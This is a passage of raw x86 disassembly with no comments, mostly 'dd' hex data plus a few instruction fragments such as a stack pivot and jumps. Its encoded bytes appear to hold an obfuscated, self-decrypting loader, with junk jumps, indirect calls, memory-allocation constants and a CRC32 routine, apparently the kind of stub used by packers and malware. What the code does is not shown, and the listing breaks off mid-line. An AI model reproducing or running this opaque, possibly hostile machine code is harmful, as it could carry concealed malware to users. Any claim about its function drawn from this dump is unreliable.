0F39D7C99h dd 0ED40CFD7h, 1B2h, 5588C2B3h, 0A3E391B2h, 2B16C91Ah dd 556018B5h, 0E8F80534h, 3D2B1F4Fh, 0C97E490Dh, 42DF5516h dd 0C5A0225Ch, 7C33486Eh, 3354F759h, 0C9AFC185h, 0BA57CD16h dd 1282DA13h, 9634C16Fh, 0C43A1C32h, 0B9C4FE96h, 9A331320h dd 0B75483C0h, 906AF382h, 0A7862356h, 452670F9h, 0A9D011EBh dd 0F314B17Bh, 4Ch, 0A7176FB9h, 0CB09E304h, 0BA872A0h dd 32295051h, 53916B1Ch, 7F30FA28h, 9FB0FC9Dh, 0FEE07DD4h dd 0A3C4E588h, 204EB1F5h, 97C73D13h, 13204ED7h, 0CC461D7h dd 204E4E74h, 3610A913h, 0F62BC8FBh, 83642C7Fh, 0CE7C4526h dd 42000000h, 310688C2h, 6FA2DD68h, 0EBAF2DBEh, 21505B89h dd 3975E291h, 442E590Ah, 0ABE9CF6Ch, 0B6184B86h, 578AC488h dd 9441E29h, 195339D6h, 517FB2ECh, 0BEF12B87h, 4764C690h dd 0C9B9DC8Dh, 699CD616h, 4BBB134Ch, 7D9FAA8h, 0A1C21C2Fh dd 222FB3F3h, 22C53B13h, 222F3274h, 0A946BC13h, 0EF1657C7h dd 0F295F7C1h, 92AFDA18h, 12436EACh, 6989342Eh, 864D0901h dd 0AC000006h, 4228456Ch, 0D4BAD706h, 654B6897h, 0F4DAF72Ah dd 6A6E8BB6h, 0D9044278h, 6E95D6BCh, 12C6B51h, 91C4FEE4h dd 18C6A774h, 1326B156h, 0C221FF58h, 0F5205F84h, 0F89BFDC7h dd 7EB9E21Eh, 0F1531D4Bh, 0B55CF9C3h, 15975988h, 0F398976h dd 0AA4776B3h, 3A578AC4h, 5588C20Ch, 14D83B2h, 0D788BBF5h dd 318D4FCFh, 6F27C4F7h, 0D1954364h, 0DD16C9F3h, 0D5032E6Dh dd 260CA90Bh, 0E716B9ECh, 0E3AC6891h, 4DF491E1h, 3A6Fh dd 88C2AF00h, 421C2755h, 0DCA6D407h, 0EC1F593Fh, 0E88DB0BEh dd 0E0A65475h, 0EE16C91Ah, 0BBF5DB78h, 0CF0BE588h, 0BA872A0h dd 258664h, 0EDC70000h, 997331B3h, 9D62FFC2h, 0C2709E3Bh dd 0F6840688h, 9BDAFDD5h, 4E730B39h, 9516C94Eh, 114B591Ch dd 0C293C1DEh, 10275588h, 84A548B8h, 1AF1B563h, 8DFD16C9h dd 20BD1F52h, 33ABEF66h, 9BBC731Ch, 2684A9EDh, 8FBF3513h dd 132684CFh, 246A18CFh, 0AA132684h, 0CD70D234h, 4B8CB9F3h dd 5B8EC824h, 0BCF6DCF9h, 0EC445B89h, 0C4FFD97Ch, 4EF4FF42h dd 0D93B7A1Dh, 0F1610F3Ch, 3519DC1Eh, 29578AC5h, 805AFD5Fh dd 0ACDF1946h, 0AF52B47Eh, 477AB48Eh, 0C9345717h, 0A6E75716h dd 0D9801D7Fh, 99DD8BACh, 2516C934h, 0EB1253AFh, 0FB2E684Eh dd 0A7E8C2CDh, 52AAE380h, 701E3FE2h, 16C9342Eh, 9DDE3AB0h dd 0E17E4876h, 0C47293B4h, 16C93482h, 0E7A7550Ch, 0E716C934h dd 0B8720F71h, 1C32323Bh, 4D11BFE0h, 51132039h, 0E65C3EDBh dd 8B45BFB5h, 0DA968E69h, 4D9h, 7B98BFFFh, 0D2A5995h, 9EBBEA27h dd 2D4A7DB8h, 0C1DE0947h, 4F8D25BDh, 0E0210724h dd 77B69CB9h, 0F492F4Ch, 11F2BFDCh, 26B62363h, 7452AB13h dd 1F5B88C2h, 44718EF0h, 0D2002B6Ah, 4B856B08h, 1A6529D7h dd 0F36916C9h, 659F6391h, 2400432h, 0A6E5A9D7h, 1ACA8C3Ah dd 5ED416C9h, 9DC0CEFCh, 0DF3EC6D8h, 0A7D40E96h, 410B396Ch dd 3DE3C2DFh, 3340CFD7h, 7Fh, 0A7176FF9h, 0C809E304h, 2D4A04A1h dd 261C325Ch, 54175705h, 27971320h, 0AC5DBFE6h, 0B2A8C405h dd 0DBBD5AA7h, 1B307624h, 48BE1320h, 482243E6h, 0EAACDC0Bh dd 0F413201Bh, 0DAB4E17Eh, 0C37769Bh, 164473B0h, 13CDEA4Ch dd 13201B51h, 0F9A71B55h, 13201BB5h, 0BE61C339h, 6281BE8Fh dd 3E49FA21h, 18BF5CD8h, 9AC8F332h, 3F4DEh, 34F01F00h dd 39E81936h, 115503A6h, 9D1320EDh, 0C25C8A27h, 0ED205B88h dd 5F995D8Bh, 7ED60F2Ch, 294A6B0Eh, 0C91A3B7Bh, 1D4DC316h dd 16C91A59h, 0BE00AE65h, 4016C91Ah, 9ECB68CAh, 322367F0h dd 4371E71Ch, 200C97ABh, 6D47E013h, 0AD40231h, 6E3D386Dh dd 4526C5A2h, 0FCF483B2h, 0FF385D47h, 444162h, 6F070000h dd 5604A717h, 1C32294Dh, 7933F4B9h, 11887302h, 4DD0CAFh dd 0EA1D585Fh, 147A0639h, 0DAB4BF77h, 0D4801F9Dh, 0E651340Bh dd 152DE784h, 62132090h, 86B1EFC9h, 0EAC1B4E9h, 45265D26h dd 0F03Ah, 88C20000h, 25632755h, 0CE08CCFAh, 6FA96D9Bh dd 74D60542h, 8BBAF7D1h, 4FF6935Dh, 0C9176495h, 4774AE16h dd 5F7CDE09h, 0AF7A0332h, 0BAC19CC9h, 0CAFD371Dh, 0BD2D859Ch dd 0B4BF91Ah, 9316C951h, 0A553801Dh, 1C325E08h, 96C3E056h dd 0F55180BCh, 905A88BBh, 0F862BAF3h, 265592BBh, 9ECC2EF8h dd 21CF72D4h, 19C6DF36h, 0F01D5731h, 832082B5h, 0AE882BA1h dd 10560470h, 9E16CBEDh, 0CE98C628h, 0C2E30431h, 0CBED5214h dd 23631116h, 0AB16CBEDh, 0CA67DD35h, 5E7BA6E4h, 0DE0F3A78h dd 6F71720Eh, 0A6AD6961h, 0CC000002h, 6248658Ch, 0F4DAF726h dd 856B88B7h, 14FA174Ah, 8A8EABD6h, 0F9246258h, 8EB5F6DCh dd 214C8B71h, 0B1E41E04h, 38E6C794h, 1326B476h, 7B411F78h dd 0AF5B5E4Ch, 7815FB67h, 0F12F5492h, 0FE608FCCh, 87A406D0h dd 173467A1h, 58176FE9h, 9FE89215h, 3B70AEA3h, 4A4E7728h dd 9947EA4Ch, 1C32C488h, 0C25A88FEh, 1320E680h, 8C1F56F7h dd 45262BC4h, 0BE2DA1D0h, 3D5B5F7Ch, 0CB7FA0h, 0C2450000h dd 63275588h, 2857FA25h, 0D2A4DA09h, 5D15B204h, 0C97334C5h dd 68163716h, 16C97D26h, 0AF9532A8h, 3F254275h, 8DA4D205h dd 7422C535h, 1C3272DBh, 5790AD23h, 0CBEC8FFFh, 64A879Ch dd 401474C5h, 2D530400h, 3E802E88h, 0C01320F1h, 914BE84Ah dd 19C66E85h, 96701389h, 0E3102D58h, 9DCC09h, 7AB7DC1Ah dd 81B4EF4Bh, 0B2CEE1Fh, 2B236F72h, 1B06Fh, 6F96D600h dd 1306C52h, 92C1FEE4h, 21548F75h, 0B5E01E04h, 644E9498h dd 0F8DEFB26h, 8D7390B7h, 2006234Eh, 0C996B3E6h, 0B5743AE8h dd 217A1326h, 5F84C243h, 0FAC4F225h, 5B957B98h, 0EEC11FD9h dd 771AE262h, 0C95485C9h, 31930916h, 0D00DE714h, 0CA973A1h dd 5588C2DEh, 0F6296327h, 0C2843253h, 8116C91Ah, 0C91A93D3h dd 4DA51B16h, 133A7BD7h, 0AFE9CF76h, 0C5FFD97Ch, 0E99A6492h dd 6C4C13FDh, 0BB7310C4h, 39DC4CA4h, 0D6FD3E18h, 253E7F39h dd 4AC01C32h, 0EF1A581Ch, 92C1FDC1h, 60157464h, 2A4BC23Eh dd 0F00D407Ah, 4CEF5FB7h, 0D8E9499Eh, 0B1DF5519h, 5280B3EDh dd 0FD542144h, 0E49235A5h, 1C31CD33h, 422845BBh, 0E3A7D508h dd 674B79A4h, 0E51F85F0h, 40EE0FB2h, 1320057Eh, 0A2D51080h dd 0C3FCA340h, 3758FB6Bh, 3B1215Dh, 13200543h, 4573D54Bh dd 6324DE7Bh, 6B19DB35h, 0C903C7F5h, 0D846896h, 2791E968h dd 0B75ABCEBh, 15A6E896h, 0B22816C9h, 753AE815h, 2E1C3225h dd 0AEEF1854h, 2D8F5987h, 9BD935FFh, 7BF1D370h, 5DCD255Eh dd 0B49D0CBAh, 2B5A19DAh, 1FAD711Eh, 0DEB5AE73h, 0EDA6B263h dd 71E7C966h, 12457F43h, 0A2D50FF5h, 0EC24DC74h, 0FD2013E2h dd 70F22C78h, 0C51AF833h, 14319323h, 8DC7F42Eh, 0CAF81F60h dd 0A6709E00h, 31031AF5h, 84E61F28h, 24579256h, 0C5F832F6h dd 6598D397h, 99DC5337h, 63128905h, 0B7D40741h, 4473B08Ah dd 5487C1A7h, 434C82B1h, 248FA59Dh, 15F0835Dh, 88258757h dd 314D0h, 0A1540000h, 5B82C233h, 0FC2F692Dh, 0A0CB0ACEh dd 466DAE72h, 0EB165418h, 90BBF9BDh, 30639E62h, 0D2013E02h dd 75A4E0A4h, 89508647h, 405E0h, 0E8830000h, 24048704h dd 2404895Ch, 5E0168h, 242C8900h, 81E78957h, 4C7h, 4EF8300h dd 5C243C87h, 50240C89h, 0A6678B8h, 25D0F71Dh, 75947FF2h dd 0FB1C7A25h, 86F4356Bh, 8150657Fh, 75742404h, 815D0D0Ah dd 0A7574EDh, 8B54580Dh, 0C483240Ch, 0BE565004h, 8, 15EF089h dd 582889C8h, 51240C8Bh, 0C181E189h, 4, 8704C183h, 8B5C240Ch db 2Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_5461C3 ; --------------------------------------------------------------------------- dw 4254h dd 0B808AD55h, 5EFB1C1h, 0E0FFC503h, 84FC7FBh, 6CEB004Ah dd 3C33D80Fh, 7E7B5056h, 74AE750Eh, 5DF5B81Bh, 74009C36h dd 13990D16h, 6B30F348h, 4FBE3524h, 897B590h, 95D46AFh dd 24F5D731h, 1389567Ah, 42D1CDAAh, 7F488473h, 755872C0h dd 54AB1069h, 375D8652h, 1D841DF2h, 4663804Fh, 55ACE026h dd 518A7299h, 32CB1F7Bh, 15FE9h, 0D48B5200h, 0E860h, 815D0000h dd 0EFB2D5EDh, 8428B05h, 2638453Dh, 38850F78h, 8B000001h dd 4A8B0C42h, 0BBC8D318h, 4D0FB2D2h, 0E883C333h, 55858904h dd 8B05E926h, 0F88B0458h, 8B10428Bh, 0C8D3184Ah, 931F69BEh dd 2BC633D2h, 0FCE083C7h, 8904E883h, 0E9080585h, 14428B05h dd 163D8589h, 428B05E9h, 0B0E95318h, 0FF000000h, 0E9326DB5h dd 0B9E905h, 0B5FF0000h, 5E9182Dh, 0AEE9h, 0D5B5FF00h dd 0E905E931h, 0A3h, 257DB5FFh, 98E905E9h, 0FF000000h dd 0E92F55B5h, 8DE905h, 0B5FF0000h, 5E92839h, 82E9h, 99B5FF00h dd 0E905E903h, 77h, 10E9B5FFh, 6CE905E9h, 0FF000000h, 0E903F5B5h dd 61E905h, 0B5FF0000h, 5E90055h, 56E9h, 55B5FF00h, 0E905E923h dd 4Bh, 15DDB5FFh, 40E905E9h, 0FF000000h, 0E930EDB5h, 35E905h dd 0B5FF0000h, 5E91EE9h, 2AE9h, 0BDB5FF00h, 0E905E904h dd 1Fh, 321DB5FFh, 14E905E9h, 8B000000h, 0BB8D8h, 0F7660000h dd 368D8DE3h, 305EFB3h, 0FFE1FFC8h, 0E90BC595h, 858B5B05h dd 5E92655h, 0F045839h, 0F85h, 16A5300h, 1E9595FFh, 0E95B05E9h dd 0FFFFFFE2h, 61C35A61h, 0C96AB85Ah, 0E0FF77D4h, 3A5858Bh dd 8D8D05E9h, 5EFB424h, 8B014189h, 8E8C3h, 0C5810000h dd 37B0F705h, 0F3BA59BFh, 597D60E5h, 81FFBF0Fh, 5A95C1h dd 0F7F28000h, 0D081F633h, 13F3A428h, 600E34FFh, 0E902F780h dd 10h, 7F25A982h, 178BE8CEh, 4ABF12FCh, 0C04FBCBBh, 850F5B61h dd 5, 3295A1BFh, 4DEB8113h, 0E960771Ch, 5, 0C028F70Dh dd 98C381D4h, 0E9093D98h, 5, 3866570Dh, 82C381CFh, 0E874E083h dd 12h, 0B415F270h, 0ED8F9044h, 0F36A82C2h, 491C4A56h dd 895853A2h, 0BA53311Ch, 2CD463E5h, 0C8C0F5Fh, 0E9000000h dd 7, 0E5690D7Ah, 83657289h, 820F01EEh, 5, 1DA8166h, 4E4E4E5Ch dd 0CEB70F60h, 816107B3h, 0FFA650FEh, 59850FFFh, 0FFFFFFFh dd 1A82h, 148B0F00h, 0E8000000h, 0Eh, 6EC261A5h, 0A9FEF3F2h dd 5BAA12A9h, 0C65F54FBh, 0E90EE585h, 0DF685605h, 0FFA9C530h dd 0E91EFDB5h, 6F858D05h, 0FF05EC7Ah, 498D8DD0h, 5105E927h dd 0B5FF406Ah, 5E90DE9h, 569B5FFh, 0D0FF05E9h, 0DE9B5FFh dd 0B5FF05E9h, 5E90569h, 0EE8h, 1FD49900h, 1369B3DAh, 58361564h dd 5A0DCE4Ah, 4EA835Ah, 2242CC1h, 22424C1h, 0F7241403h dd 0FF33241Ch, 581734FFh, 819FE881h, 0C0810568h, 0EE2C274h dd 0BBAEF081h, 8F5032A8h, 0EF833A04h, 243C3B04h, 0FFDA850Fh dd 9D8DFFFFh, 5E92EB5h, 0C00B038Bh, 7840Fh, 38B0000h, 89045B8Bh dd 0E8C98B18h, 0Bh, 0EDC163A3h, 37113154h, 0F5431866h dd 10E95Bh, 38EC0000h, 0AA2E12E5h, 0C158D36Fh, 6E0F5214h dd 0C38172D5h, 697Fh, 0FFF8FF33h, 0BA661F34h, 0B45EE54Bh dd 26EE81CEh, 0B061471Ch, 4DC6815Dh, 813477A6h, 7EF6F6EEh dd 0DA81666Bh, 60566D69h, 5A5F5151h, 0EE8h, 40855D00h dd 228B979h, 0EA0B4CFAh, 8BDB2F31h, 8F615FD9h, 8B663B04h dd 0F2E981D6h, 8350C699h, 8C0F04EFh, 3, 81E1ED80h, 0FF972CFFh dd 0F850FFFh, 8A000000h, 19E9D3h, 732A0000h, 0A962A740h dd 0D68BBDC5h, 0FFFF86E9h, 0F2358FFh, 37AD0A09h, 0E8908792h dd 11h, 7DC0C703h, 95E0592h, 0A197CFCBh, 31A6A9A5h, 8B6660D3h dd 0CFB70FD6h, 0F6805861h, 0FC0816Bh, 0E900005Ch, 5, 3D61E6B0h dd 8BF62B10h, 300C8BF8h, 0B408D781h, 0E9817D9Bh, 7566FADBh dd 0DE9h, 89DF200h, 753736DAh, 1800B63Ch, 0E981D9CDh, 67A3EC06h dd 4820Fh, 0BF660000h, 0E981231Bh, 18F24AC1h, 10E9h, 0A6F3BA00h dd 0D71C02Bh, 46716B6Eh, 0E9AA5816h, 300C8976h, 13E9h dd 5C23F700h, 4F2AA7B8h, 0EED9B8CEh, 0F4673A6Dh, 402B2601h dd 0DB85BA66h, 0E804EE83h, 6, 630A1F44h, 0D38BADDEh, 0DCFE815Ah dd 0FFFFFA4h, 1685h, 6850F00h, 0F000000h, 81h, 25E900h dd 50FF0000h, 0E990B5A8h, 11h, 52799B89h, 28E4A662h, 0AEB50687h dd 439360FAh, 0FF47E925h, 0D784FFFFh, 0EB919D25h, 8, 71A51600h dd 4A1E958h, 0AC680000h, 0E905EFB8h, 0FFF9C867h, 0EFB95C68h dd 0C85DE905h, 7F68FFF9h, 0E905EFBAh, 0FFF9C853h, 9BB8DF1Fh dd 2D4A79B5h, 0BEDB0A47h, 4D6A9DD8h, 0E1FE2967h, 6FAD05DDh dd 412744h, 97D6BCD9h, 2F694F6Ch, 3112DFFCh, 26ADC383h dd 9472CB13h, 0B65984C2h, 44729DDCh, 6125DD7Ah, 90BBFA27h dd 0C3E4112Eh, 0C91A5115h, 4AE75D16h, 0A649B911h, 0C3608FCCh dd 5D9B7596h, 85EB0432h, 6048A8B5h, 0B921D234h, 7BDF0844h dd 6526E07Dh, 711C32A9h, 0D35CDFBh, 751320A1h, 1ADE0C37h dd 0BC80AEDDh, 4DEA537Eh, 6E0F7628h, 0F3275607h, 23BB4AA4h dd 0B35D3CD9h, 0AD452653h, 2D9h, 0C438473h, 0F3A144B4h dd 1C321C12h, 1443E65Ch, 8C66D217h, 964FECA6h, 47EB8B00h dd 0AC1C7466h, 4FDA5B09h, 9F64E4BDh, 8AA1EA2Ah, 0D8066872h dd 56F969C1h, 57A5A9A8h, 983BB1E1h, 0A45580BEh, 0AFD60947h dd 2350ED8Fh, 0BFDC0F49h, 83C37192h, 0BEE4552h, 244F295h dd 8CEE4552h, 59937916h, 0F84CF526h, 9B9376E7h, 2F6DFh dd 0AFD61600h, 4170AC92h, 0D2013E24h, 6194CFB5h, 0F5205E44h dd 0A40ED4D8h, 381E3B66h, 0CDB3D0F7h, 6046638Eh, 9D6F326h dd 0A2347A28h, 61BA1326h, 0AC5A7B83h, 16C91AEAh, 0A25C2FF4h dd 9297E8EFh, 25A9330h, 0D815EF92h, 31DF0CA9h, 1C33E259h dd 19573152h, 0C6F6C0EEh, 1326CC80h, 4F3AF8B5h, 0FB535229h dd 9006E885h, 0ABD213EDh, 472E06FAh, 6401735Bh, 0F41F5D37h dd 96D0AAD7h, 0CE6B3563h, 4A85AAE8h, 78916617h, 677285A8h dd 0ABCCD705h, 356396D1h, 0A47B3B6Bh, 0D831326h, 754FB670h dd 558F63ACh, 0FF4EF122h, 0A9A17563h, 246EDh, 0FF266600h dd 91C0FCE2h, 22518E74h, 0B1E41F05h, 4570AE94h, 0F4BE2428h dd 886E8BB6h, 1D032047h, 0B096B3DEh, 59264376h, 0A384CA78h dd 0B10A1326h, 62A17BD3h, 0A23F0937h, 0FEA11169h, 33833A50h dd 0D8067C1Ch, 26AD0240h, 0BBDC7513h, 26AD490Dh, 42DF5513h dd 9D43680Dh, 93452064h, 15Dh, 5588C259h, 0F6296327h, 0D848A0D9h dd 230E8735h, 9A101C32h, 0CEED46Ch, 0D3141320h, 80BA7EACh dd 0D02F1F4Dh, 0F192F9A5h, 0C5792784h, 39774526h, 3E000000h dd 142F6F1Dh, 39AF1320h, 0D572A1DDh, 0A7176FA7h, 0C2E92A04h dd 594AF825h, 0AD1C3229h, 51710937h, 0A613200Bh, 0CBF2330Dh dd 136D39Dh, 0C6693774h, 92874526h, 4D000000h, 275588C2h dd 0BB92563h, 16C91A4Bh, 0E8D859FAh, 72CA6DA2h, 0A86C9AFCh dd 0D702416Eh, 49834775h, 213FF916h, 2516C9DCh, 629BB8EBh dd 49F79A0Ah, 1C2F4A68h dd 0CBA548BEh, 90BF628Dh, 0B9EF7B9Eh, 9F46E3A5h, 1B567BB9h dd 8EF0BAE8h, 8842A85Dh, 33EFE769h, 123h, 0BFDC0343h, 516E9DD9h dd 0E2FF2E6Bh, 718EC1FCh, 5224D8Bh, 9BD9E101h, 2C6D5370h dd 0C302E805h, 5B957B98h, 5D3E0B28h, 26A0EFAFh, 0B896EF13h dd 3C5984C2h, 0CCE91C56h, 63A17B9Eh, 0A3400A38h, 225083BDh dd 0D4F1245Eh, 85A478A7h, 2E5299h, 68D22A63h, 8D20027h dd 73D403A6h, 0BD14C23Ch, 0BC6A9734h, 1C3227D3h, 0E102A51Bh dd 914DCB07h, 0A11E7826h, 24EE1C7Eh, 3863A187h, 0C061611Bh dd 67A11320h, 0F3311734h, 608F9AC8h, 744473C9h, 9D7B18C3h dd 8Bh, 0A7176FDDh, 83285604h, 0BF761C33h, 26AD4D11h, 79DB5113h dd 1A4D874Bh, 1AFD0FDh, 1326ADBDh, 482ECB41h, 15ADDB0Eh dd 0C18C8780h, 0F11F4E8Ah, 96C4EF2Dh, 514D28C5h, 0E86190ABh dd 6F453731h, 75AA47h, 1A376AA4h, 0A778BEEDh, 0EB6D31DFh dd 0FB714EB8h, 1622664Ah, 26599379h, 0C6F934F8h, 383DB498h dd 0E2FF326Ch, 719CDBB5h, 0DE1D7943h, 0F63016B3h, 698A95C3h dd 0B8E7FBBBh, 91C4FF4Eh, 4826C339h, 3, 0C233A188h, 692D5B82h dd 0ACEFC2Fh, 0AE72A0CBh, 5418466Dh, 0F9BDEB16h, 9E6290BBh dd 3E023063h, 0E0A4D201h, 864775A4h, 2E8C68h, 242C8900h dd 5F8368h, 243C8900h, 528E68h, 240C8900h, 0EFB7A368h dd 243C8B05h, 5404C483h, 83240C8Bh, 525704C4h, 5A7223BAh dd 2454292Ah, 418F5A04h, 8418108h, 2A5A7223h, 592434FFh dd 0FF04C483h, 815F2434h, 4C4h, 0C3D9E900h, 96F0FFF9h dd 2C8806A0h, 0B8B3DFBDh, 5EFBBC7h, 0E0FFC503h, 5A452A25h dd 7934C24Ah, 1D5DE09h, 6351CB7Fh, 77DC94C2h, 0BCDE8D8Dh dd 6A05EFh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h dd 56460000h, 0EE1CA1C3h, 11E8859Ah, 8D000000h, 0B551044Ch dd 734CC29Fh, 9A69D8C2h, 6FF5C946h, 17D19D23h, 895E05E9h dd 0E926558Dh, 13E905h, 0BFC80000h, 96E06E60h, 0BF48190h dd 0F7221AD2h, 0BB066577h, 585C788h, 6005E908h, 0B800006Ch dd 60644E75h, 163D85C7h, 5E9h, 0B5090000h, 5E91E91h, 321DB5FFh dd 816605E9h, 0F8D62EF0h, 0BC595FFh, 0DA8B05E9h, 95FF006Ah dd 5E91E95h, 0EEBC08Bh, 85CA5300h, 0D56DCBB7h, 0BA7BCFFFh dd 5E82453h, 16000000h, 979A1092h, 0E2C3815Bh, 81000074h dd 0E9E0E5EFh, 0FFC9335Fh, 85231934h, 5E90B91h, 0A9B50B5Ah dd 8105E90Bh, 62579EEAh, 0F281F559h, 69EE3665h, 0FFB7C281h dd 0B70F42CFh, 0B1489C6h, 1F819589h, 858B05E9h, 5E92DC1h dd 0B003E983h, 0F9814915h, 0FFFF8BA0h, 16850Fh, 858B0000h dd 5E916E5h, 20E9h, 38B9400h, 0B7C31E04h, 0E35500A9h, 28F5858Bh dd 98E905E9h, 59FFFFFFh, 949C46C7h, 0A15D059h, 9E8E1h dd 91220000h, 1637410Ch, 8B677D9Fh, 0E90435B5h, 0C0815805h dd 70AAh, 0FBF78150h, 590711FEh, 3F004BBBh, 0B6F38134h dd 89343F1Bh, 0E9111D9Dh, 0B530FF05h, 0AE95A07h, 0A9000000h dd 0C8E4326h, 54D4A0D4h, 25F281DEh, 66215347h, 0B4FAEE81h dd 0F971C281h, 0F572E7Fh, 815FF2BFh, 0E414F8EAh, 0B9953117h dd 8905E927h, 8B665610h, 0E8835ECBh, 0A9BD8B03h, 4805E90Ch dd 14E9h, 23934000h, 0E1D15618h, 0C844AC80h, 52A1DAA5h dd 172D3CFAh, 850F4B1Eh, 12h, 2755BD2Bh, 19E905E9h, 1B000000h dd 0A047711Ah, 0BD236481h, 5E926E1h, 0FFFF7CE9h, 5053E6FFh dd 39BF575Ch, 0BD83C08Bh, 5E9164Dh, 83097500h, 0E91121BDh dd 19740005h, 0C08B5350h, 421B8h, 0B9858900h, 8D05E923h dd 0EBB8C49Dh, 5BD3FF05h, 21BD8358h, 5E911h, 53501774h dd 421B8h, 0B9858900h, 8D05E923h, 0EBB5B39Dh, 5BD3FF05h dd 8BC08B58h, 0E907699Dh, 0E585C605h, 5605E90Eh, 0A8B85268h dd 0FDB5FF9Ch, 8D05E91Eh, 0EC7A6F85h, 6AD0FF05h, 10006804h dd 0B5FF0000h, 5E91241h, 0D0FF006Ah, 850FC085h, 0Dh, 0B8h dd 0D48D8D00h, 0FF05E972h, 8BC88BE1h, 3C4003C3h, 0F805h dd 0C508B00h, 0BD83D303h, 5E92EB5h, 0E840F00h, 8B000000h dd 0E92EB59Dh, 11858B05h, 8905E909h, 8D525103h, 0E942B185h dd 8BD0FF05h, 8BF18BFAh, 0F3C88BD1h, 0E585C6A4h, 5605E90Eh dd 1F6D3968h, 0FDB5FFD4h, 8D05E91Eh, 0EC7A6F85h, 68D0FF05h dd 8000h, 0FF52006Ah, 83C08BD0h, 0E9164DBDh, 9750005h dd 1121BD83h, 740005E9h, 8B535019h, 421B8C0h, 85890000h dd 5E905ADh, 0B92B9D8Dh, 0D3FF05EBh, 0BD83585Bh, 5E91121h dd 50177400h, 421B853h, 85890000h, 5E905ADh, 0B5CC9D8Dh dd 0D3FF05EBh, 0C08B585Bh, 2EB59D8Dh, 38B05E9h, 840FC00Bh dd 7, 5B8B038Bh, 0B8188904h, 4B41h, 5E8h, 579CB700h, 99B5D1FFh dd 44B55358h, 6FC0815Bh, 33000072h, 0BE9FFh, 0ACB00000h dd 0E6D980D4h, 0E78E0C88h, 38148B39h, 8E426BBh, 97F2814Fh dd 8117C93Dh, 61039DF2h, 9BF2817Dh, 8B340C6Bh, 0AE952D8h dd 0F9000000h, 2B351FF5h, 0C89915E9h, 38048F60h, 8166CE8Bh dd 83488CC1h, 13E802EFh, 3C000000h, 0E77C3B61h, 1B66F87h dd 0DD520290h, 5AA3BF81h, 5BF9DC00h, 81F94F4Fh, 0FF8E40FFh dd 13850FFFh, 0F000000h, 25E9D8BFh, 74000000h, 67F79287h dd 883301ABh, 816643D3h, 0E995CFDEh, 0FFFFFF81h, 86A6648Eh dd 3C862D4h, 334E99F3h, 97CBB14Fh, 3BE9h, 0BD8B6000h, 5E9185Dh dd 3304EF83h, 0BBC18BC9h, 0EDB88320h, 0BE04C783h, 8, 0D21BE8D1h dd 0C233D323h, 0F1850F4Eh, 41FFFFFFh, 0F9810789h, 100h dd 0FFD3820Fh, 0C361FFFFh, 11E8C88Bh, 0E7000000h, 7FFC3227h dd 0EFE5DF1Fh, 474479D5h, 792E935Dh, 0AE8h, 6548AD00h dd 0F9F901B1h, 667F1A41h, 8510EF81h, 0BF66595Fh, 0C181C62Ch dd 706Ah, 6E8h, 6E979600h, 0F955BA6Dh, 60D22B5Bh, 188F0Fh dd 13E90000h, 71000000h, 0BD4A5173h, 953F815Dh, 0AA327D20h dd 11A0377Bh, 0E85341B0h, 5, 6FA4A4CBh, 61585F6Dh, 8111348Bh dd 4ADDABC6h, 5BFC573Eh, 359F681h, 0CE843C0h, 0E000000h dd 0A1B9702Ah, 0C9222CF7h, 6033D549h, 7BD68166h, 820F15h dd 61000000h, 3DF68158h, 81641C99h, 0EC77CE7h, 0D781560Ch dd 1172339Ah, 0F11048Fh, 281h, 66E38A00h, 8199BDBFh, 0BB6BF2EAh dd 12E95Fh, 7DA50000h, 94D0B25h, 0DF60D6D8h, 18D6403Ch dd 8D2F53D3h, 6BEEC281h, 5E95FBBh, 0D4000000h, 731728D4h dd 90B8FA81h, 850FFFFFh, 15h, 0E9C78B66h, 25h, 6FCF33CEh dd 0FD345D2Eh, 0A83BBDB0h, 4382B876h, 55E91F29h, 0D8FFFFFFh dd 0ADA8F896h, 0A2B8315Dh, 7F8D51ECh, 0FDED55A6h, 0F67A5E75h dd 0E669A476h, 0FD49BC56h, 0FD206CCAh, 0FD204228h, 0FD205569h dd 0FD20DCCFh, 0FD2019B9h, 0FD20FB97h, 0FD20897Ch, 0FD20315Dh dd 0FD206D48h, 0FD204277h, 0FD20554Ch, 0FD20DEA1h, 0FD201A02h dd 0FD20F8E3h, 0FD2089CCh, 0FD203088h, 0FD206CDCh, 358A259Dh dd 0D6A22295h, 0DE714A76h, 0F44BBD5Ch, 0FD7A5A5Ch, 0F5722775h dd 0FD799775h, 0FD78CB74h, 0F57DED73h, 0FC7BF374h, 0FC7B7874h dd 0FD7ABC75h, 0FD7A5E75h, 0A733AB76h, 0A7332375h, 0FD7ACB75h dd 0FC7BE475h dd 0FC7BF374h, 0F8B29074h, 701ABC75h, 12BF82F0h, 0EEFFA670h dd 707F78B7h, 12BF39F0h, 2EFF6C70h, 707F1DB4h, 12BC49F0h dd 0F2FF3570h, 707FB1B7h, 12BFBFF0h, 2AFF1E70h, 707F24B4h dd 12BFAAF0h, 26FF7B70h, 707F96B4h, 12B951F0h, 22FFD770h dd 707FC0B4h, 12B968F0h, 1EFF4270h, 707F0AB4h, 12BEE7F0h dd 1AFFF070h, 707F53B4h, 12BE2EF0h, 0EFFA670h, 707F78B4h dd 12BEF7F0h, 16FF6C70h, 707F1DB4h, 12BE22F0h, 12FF3570h dd 707FB1B4h, 12BE5FF0h, 0EFF1E70h, 707F24B4h, 12BE4FF0h dd 0FEFF7B70h, 707F96B7h, 12BE75F0h, 0FAFFD770h, 707FC0B7h dd 12BE7BF0h, 0F6FF4270h, 707F0AB7h, 12BFC7F0h, 0AFFF070h dd 707F53B4h, 12BF32F0h, 6FFA670h, 707F78B4h, 12BCCCF0h dd 2FF6C70h, 767F1DB4h, 146A50F0h, 0B1FF3570h, 767FB1B7h dd 1456C2F0h, 0ADFF1E70h, 9C7F24B7h, 11F1B0B6h, 0FD7AF29Dh dd 17FB2375h, 0F8957F15h, 0F53FD525h, 3F31ADFDh, 3422929Ah dd 0AC7ACFB7h, 0AD29B723h, 0FD7A1A20h, 7C277975h, 12B93D98h dd 2FFFA070h, 7D7FC0B4h, 12BB45C8h, 0B409CF70h, 4B75E4C5h dd 89BAF9B5h, 0ADEF8635h, 0BD7F53B7h, 452B96FEh, 0FD7A2F7Ah dd 3F2A028Ah, 48F7CE9Ah, 0F89524A6h, 50FCC6F8h, 0FD7E4B9Dh dd 456FCF75h, 0FD7A5E76h, 3F2ABA8Ah, 48F7929Ah, 0F8950AA6h dd 50FCD1F8h, 1F23228Ah, 2FF787BCh, 0A07F53B4h, 0A320052Dh dd 